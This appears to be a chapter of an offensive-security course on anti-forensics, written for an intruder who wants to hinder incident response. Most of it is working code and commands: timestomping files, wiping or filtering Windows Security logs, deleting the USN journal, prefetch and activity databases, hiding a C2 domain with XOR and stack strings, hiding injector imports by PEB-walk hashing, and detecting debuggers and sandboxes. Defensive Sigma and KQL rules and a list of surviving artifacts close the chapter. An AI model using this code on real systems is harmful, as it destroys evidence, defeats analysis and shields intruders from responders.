Anti-Analysis and Anti-Forensics
Covering tracks and complicating analyst work: NTFS timestamp manipulation (timestomping), selective Event Log record deletion, USN journal clearing, string XOR obfuscation, dynamic API resolution to hide imports, executable packing concepts, and anti-debug / anti-sandbox techniques that evade automated analysis sandboxes.
Your operation is complete. Now the IR team is on-site. Their timeline reconstruction tool will show file creation timestamps, event log entries, and prefetch data. Your goal: make reconstruction as difficult as possible, delay attribution, and ideally eliminate the forensic artifacts that establish when and how you entered the network. Timestomping makes your dropped files appear to have existed before your access. Selective log clearing removes specific authentication events. String obfuscation in your binary means the analyst can't run strings malware.exe and see your C2 domain. This chapter covers each technique and — crucially for your career — what each technique looks like to a defender.
NTFS Timestamp Manipulation (Timestomping)
// Timestomping via SetFileTime() — modifies $SI timestamps only
// Make malware.exe look like it was created on 2020-01-15 (blend with system files)
BOOL Timestomp(const wchar_t* filePath, SYSTEMTIME* fakeST) {
HANDLE hFile = CreateFileW(filePath,
FILE_WRITE_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
FILETIME ft;
SystemTimeToFileTime(fakeST, &ft);
// Set all four SI timestamps to the fake date
BOOL ok = SetFileTime(hFile,
&ft, // created
&ft, // last access
&ft); // last write
CloseHandle(hFile);
return ok;
}
// Usage: make malware.dll timestamps match legitimate Windows DLLs in same folder
SYSTEMTIME fakeTime = { .wYear=2020, .wMonth=3, .wDay=15,
.wHour=10, .wMinute=22, .wSecond=0 };
Timestomp(L"C:\\Windows\\System32\\msupdate.dll", &fakeTime);
// PowerShell timestomp (simpler):
// (Get-Item "C:\Temp\evil.dll").CreationTime = "2020-01-15 10:22:00"
// (Get-Item "C:\Temp\evil.dll").LastWriteTime = "2020-01-15 10:22:00"
// (Get-Item "C:\Temp\evil.dll").LastAccessTime = "2020-01-15 10:22:00"
Selective Event Log Clearing
// Full log clear (nuclear — immediately suspicious):
// wevtutil cl Security
// wevtutil cl System
// These generate Event 1102 (Security log cleared) and 104 (System log cleared)
// Selective record deletion: clear specific event IDs or time ranges
// Windows Event Log format: .evtx binary — can be parsed and reconstructed
void ClearSpecificEvents() {
// Method: backup log → filter out attacker events → restore
// Requires: SYSTEM + SeBackupPrivilege + manual .evtx parsing
// Most practical approach: use wevtutil with XPath filter
// Export log without specific event IDs (4624 = logon, 4625 = failed logon)
system("wevtutil qe Security "
"\"/q:*[System[(EventID != 4624) and (EventID != 4625) "
"and (EventID != 4648) and (EventID != 4776)]]\" "
"/f:RenderedXml > C:\\Temp\\sec_filtered.xml");
// Clear the real Security log
system("wevtutil cl Security");
// Restore the filtered log (minus attacker-related events)
// This is complex — wevtutil import-log requires specific XML format
// Simpler alternative: just delete during working hours when log rotation
// naturally clears old entries — or target event IDs for specific session only
}
// PowerShell: clear only events from specific time window (attacker session)
$attackStart = [datetime]"2026-09-13 02:00:00"
$attackEnd = [datetime]"2026-09-13 04:00:00"
$filter = @{
LogName = 'Security'
StartTime = $attackStart
EndTime = $attackEnd
Id = @(4624, 4648, 4776, 4672, 4768, 4769)
}
# Get-WinEvent -FilterHashtable $filter | ForEach-Object { ... }
# Note: no native API to delete individual records without log backup/restore
# Most operators just wipe entire log — it's logged as Event 1102 either way
USN Journal and Prefetch Cleanup
# USN (Update Sequence Number) Journal: records every file system change on NTFS
# Forensically critical — shows file creation/modification even if file is deleted
# Survives file deletion: journal entry persists until wrapped by new entries
# Clear USN journal (requires admin):
fsutil usn deletejournal /d C: # delete entire USN journal
fsutil usn createjournal m=0x10000000 a=0x800000 C: # recreate with large size
# Prefetch files: Windows records program execution metadata
# Location: C:\Windows\Prefetch\*.pf
# Contains: executable name, hash, run count, last run timestamps
# Survives process termination — persists until prefetch cache fills
# Delete specific prefetch entries:
Remove-Item "C:\Windows\Prefetch\MALWARE*" -Force
Remove-Item "C:\Windows\Prefetch\POWERSHELL*" -Force
# Windows 10 Timeline (ActivityCache.db) — records app usage
# Location: C:\Users\*\AppData\Local\ConnectedDevicesPlatform\*\ActivitiesCache.db
# SQLite database — can be cleared selectively
$db = "$env:LOCALAPPDATA\ConnectedDevicesPlatform\L.*\ActivitiesCache.db"
Stop-Service "CDPUserSvc*" -Force
Remove-Item $db -Force
# ShimCache (AppCompatCache): records every executable run on system
# HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache
# Cleared on reboot only — no live-clear without registry rewrite
# Forensic note: ShimCache entry does NOT mean code ran, only that it was seen on disk
String Obfuscation
// XOR-obfuscated string literals — prevents strings.exe / FLOSS from finding C2 domain
// Key rotates per string so all-zero XOR is detectable pattern is avoided
// Compile-time obfuscation macro (simulated with runtime XOR):
#define XORKEY 0x5A
static void XorDecrypt(BYTE* buf, DWORD len, BYTE key) {
for (DWORD i = 0; i < len; i++) buf[i] ^= key ^ (BYTE)i; // rolling XOR
}
// Encrypted string table (generated by build-time tool)
static BYTE s_C2Host[] = { 0x1D, 0x3B, 0x4F, 0x2C, 0x1A, 0x7B, 0x48,
0x3E, 0x59, 0x2F, 0x00 }; // XOR of "update.cdn"
const char* GetC2Host() {
static char buf[64];
memcpy(buf, s_C2Host, sizeof(s_C2Host));
XorDecrypt((BYTE*)buf, sizeof(s_C2Host)-1, XORKEY);
return buf;
}
// Better: compile-time string encryption (Metastring / ADVobfuscator pattern)
// Template metaprogramming applies XOR at compile time → no plaintext in .rdata
// Result: strings only exist decrypted in stack memory during execution
// FLOSS (FireEye) can still detect via emulation, but strings.exe cannot
// Stack string construction (avoids .rdata entirely):
void BuildC2Domain(char* out) {
out[0]='u'; out[1]='p'; out[2]='d'; out[3]='a'; out[4]='t'; out[5]='e';
out[6]='.'; out[7]='c'; out[8]='d'; out[9]='n'; out[10]='\0';
// Built on stack at runtime — no string literal in PE .rdata section
}
Dynamic API Resolution (Import Hiding)
// Standard PE import table: lists every DLL and function the binary uses.
// Analyst runs "peview.exe" or "dumpbin /imports" → sees VirtualAllocEx,
// WriteProcessMemory, CreateRemoteThread → immediately flags as injector.
//
// Dynamic resolution: resolve APIs at runtime by walking PEB module list.
// No imports in the IAT — binary appears to import only benign functions.
typedef HMODULE (WINAPI* LoadLibraryA_t)(LPCSTR);
typedef FARPROC (WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);
// Walk PEB to find kernel32.dll base address without calling GetModuleHandle
PVOID GetKernel32Base() {
PPEB peb = (PPEB)__readgsqword(0x60); // x64: GS:[0x60] = PEB
PLIST_ENTRY list = peb->Ldr->InMemoryOrderModuleList.Flink;
// [0]=exe [1]=ntdll [2]=kernel32 (order is reliable on Windows)
list = list->Flink; // skip exe
list = list->Flink; // skip ntdll
list = list->Flink; // kernel32
PLDR_DATA_TABLE_ENTRY entry =
CONTAINING_RECORD(list, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return entry->DllBase;
}
// Resolve function from module by hash (avoids string "GetProcAddress" in binary)
FARPROC GetProcByHash(PVOID moduleBase, DWORD targetHash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dos->e_lfanew);
DWORD expRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)moduleBase + expRVA);
DWORD* names = (DWORD*)((BYTE*)moduleBase + exp->AddressOfNames);
WORD* ordinals = (WORD*) ((BYTE*)moduleBase + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)moduleBase + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char* name = (const char*)((BYTE*)moduleBase + names[i]);
if (DJB2Hash(name) == targetHash) {
DWORD rva = funcs[ordinals[i]];
return (FARPROC)((BYTE*)moduleBase + rva);
}
}
return NULL;
}
// Usage: no VirtualAllocEx in IAT — resolved at runtime by hash
// #define H_VirtualAllocEx 0xE553A458 // DJB2 of "VirtualAllocEx"
typedef LPVOID (WINAPI* VirtualAllocEx_t)(HANDLE,LPVOID,SIZE_T,DWORD,DWORD);
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)
GetProcByHash(GetKernel32Base(), H_VirtualAllocEx);
Anti-Debug and Anti-Sandbox
// Covered in depth in ch117 (Staging). Summary for quick reference:
BOOL IsAnalysisEnvironment() {
// --- Debugger detection ---
if (IsDebuggerPresent()) return TRUE;
// NtQueryInformationProcess ProcessDebugPort
DWORD_PTR dbgPort = 0;
NtQueryInformationProcess(GetCurrentProcess(), 7,
&dbgPort, sizeof(dbgPort), NULL);
if (dbgPort) return TRUE;
// Heap flag (NtGlobalFlag): set to 0x70 when app debugged
PPEB peb = (PPEB)__readgsqword(0x60);
if (peb->NtGlobalFlag & 0x70) return TRUE;
// --- VM detection ---
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if (cpuInfo[2] >> 31 & 1) return TRUE; // hypervisor bit
// --- Sandbox behavior ---
if (GetProcessCount() < 50) return TRUE; // too few processes
// User idle time: real users have non-zero idle; sandbox = very long idle
LASTINPUTINFO li = { .cbSize = sizeof(li) };
GetLastInputInfo(&li);
if ((GetTickCount() - li.dwTime) > 10 * 60 * 1000) return TRUE; // >10 min idle
// Screen resolution: sandboxes often use small default resolutions
if (GetSystemMetrics(SM_CXSCREEN) < 800) return TRUE;
return FALSE;
}
Detection Engineering — What Anti-Forensics Leaves Behind
-- The irony: most anti-forensic actions generate their own forensic artifacts.
-- Timestomping indicators:
-- $SI_Created timestamp OLDER than $FN_Created timestamp = timestomped
-- Tools: MFTECmd (Eric Zimmermann), Autopsy MFT module
-- $FILE_NAME timestamps require kernel/raw-disk write to modify — most
-- commodity malware doesn't bother, leaving the mismatch intact.
-- Sigma: Windows Event Log cleared
title: Windows Security Event Log Cleared
logsource:
product: windows
service: security
detection:
selection:
EventID: 1102 # Security audit log cleared
condition: selection
level: critical
-- Sigma: USN journal deletion
title: USN Journal Deleted (Anti-Forensics)
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\fsutil.exe'
CommandLine|contains|all:
- 'usn'
- 'deletejournal'
condition: selection
level: high
-- Sigma: dynamic API resolution via PEB walk (behavior pattern)
-- No direct event — detected through:
-- Memory scanning: no imports but suspicious behavior
-- EDR: process reads PEB.Ldr → InMemoryOrderModuleList without legitimate reason
-- API telemetry: VirtualAllocEx called from process with no VirtualAllocEx import
-- MDE KQL: prefetch deleted
DeviceFileEvents
| where FolderPath startswith "C:\\Windows\\Prefetch\\"
| where ActionType == "FileDeleted"
| where InitiatingProcessFileName != "svchost.exe" // prefetch maintenance
| project Timestamp, DeviceName, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine
Q&A
If an attacker wipes Event Logs and USN Journal, what forensic artifacts remain?
A thorough anti-forensics pass covers many obvious artifacts, but several sources remain even after log clearing, USN deletion, and file removal. $MFT records: NTFS MFT entries for deleted files remain on disk until the cluster is reallocated. MFTECmd and Autopsy can recover filename, size, timestamps, and parent directory for deleted files. $LogFile: NTFS transaction log — separate from the USN journal, used for crash recovery. Records recent metadata operations and survives USN deletion. Prefetch: even if specific prefetch files are deleted, the SuperFetch database (C:\Windows\Prefetch\ReadyBoot\) may preserve execution evidence. WMI database (OBJECTS.DATA) contains subscription evidence even after the subscription is "removed" if the binary blob wasn't properly rewritten. Registry hive slack space: deleted registry keys leave recoverable slack space in the hive file that RegRipper and Registry Explorer can parse. Volume shadow copies: if vssadmin shadows weren't deleted, old copies of Security logs, SAM, NTDS, and registry hives are recoverable. Memory forensics: a live memory image (WinPmem/Magnet RAM) captures process listings, network connections, injected shellcode, and decrypted strings regardless of disk cleaning. EDR telemetry: if the environment has a cloud-based EDR (CrowdStrike, SentinelOne, MDE), all telemetry was already shipped to the cloud before the attacker touched the machine — local log deletion has zero effect on EDR cloud evidence. For detection engineers: EDR with cloud telemetry is the most powerful forensic preservation tool precisely because it can't be cleaned from the endpoint.